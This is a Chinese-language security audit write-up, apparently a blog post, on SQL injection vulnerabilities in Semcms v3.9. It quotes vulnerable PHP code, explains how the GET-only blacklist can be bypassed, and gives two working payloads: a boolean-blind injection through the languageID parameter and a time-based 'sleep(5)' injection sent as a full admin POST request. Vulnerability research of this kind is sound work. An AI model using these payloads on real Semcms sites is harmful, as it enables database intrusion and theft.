Semcms_v3.9代码审计
Semcms_v3.9代码审计
代码审计 #CMS
0x01
先看index.php中包含什么文件

进入到web_inc.php

进入contor.php

这里是进行了个黑名单处理,且只过滤了GET请求,也可以绕过。
0x02 前台界面语言配置SQL注入
web_inc.php:
if (isset($_POST["languageID"]))
{
$Language=test_input(verify_str($_POST["languageID"]));
}
else
{
$Language=verify_str($Language);
}
if(!empty($Language)){
//网站SEO设定
$query=$db_conn->query("select * from sc_tagandseo where languageID=$Language");
先判断post请求中是否有languageID,有就进行黑名单过滤,然后对$Language=$languageID进行赋值,然后判断是否为空,不空则进入if语句,就是出现漏洞的地方,这里没有进行单引号保护。
复现

显示正常,构造Payload1 and ascii(substr(database(),1,1))^109

页面有变化,也就是数据库的ascii为109
0x02 后台SQL注入
Contorl.php:
function ChecInfo($biao,$ziduan,$str,$fl,$id,$db_conn){
if ($fl=="f") {
$queryc=$db_conn->query("SELECT * FROM $biao WHERE $ziduan=".$str);
}else{
$queryc=$db_conn->query("SELECT * FROM $biao WHERE $ziduan='$str'");
}
$rowc=mysqli_fetch_assoc($queryc);
$str=$rowc[$id];
return $str;
}
没有校验规则,需要满足$fl==f,在$biao,$ziduan,$str中找一个可控的地方。
全局检索一下:

为什么找这个地方,因为这个地方的$PID是可控的,对应的上面的$ziduan
然后往上面找,满足注入的条件是哪些






总结一下:
- 如果调用的话首先满足
$category_name不为空 - 其次满足
$Class=add CF==category- 除去CF,Class都为POST传参数。
test_input()首先替换了%,然后去字符串首尾空格,解转义,实体编码。过滤XSS的。
然后看看谁调用了这个文件

继续找,没有我们需要的变量。

找到这个后台主页面,传参试试。
构造参数:
POST /0y4d1c_Admin/SEMCMS_Main.php?CF=category&Class=add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7; scuseradmin=Admin; scuserpass=e10adc3949ba59abbe56e057f20f883e; PHPSESSID=p3qq7jckl775qq9c4tf4p2rsm6
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
category_name=aaa&PID=1 and sleep(5)


浙公网安备 33010602011771号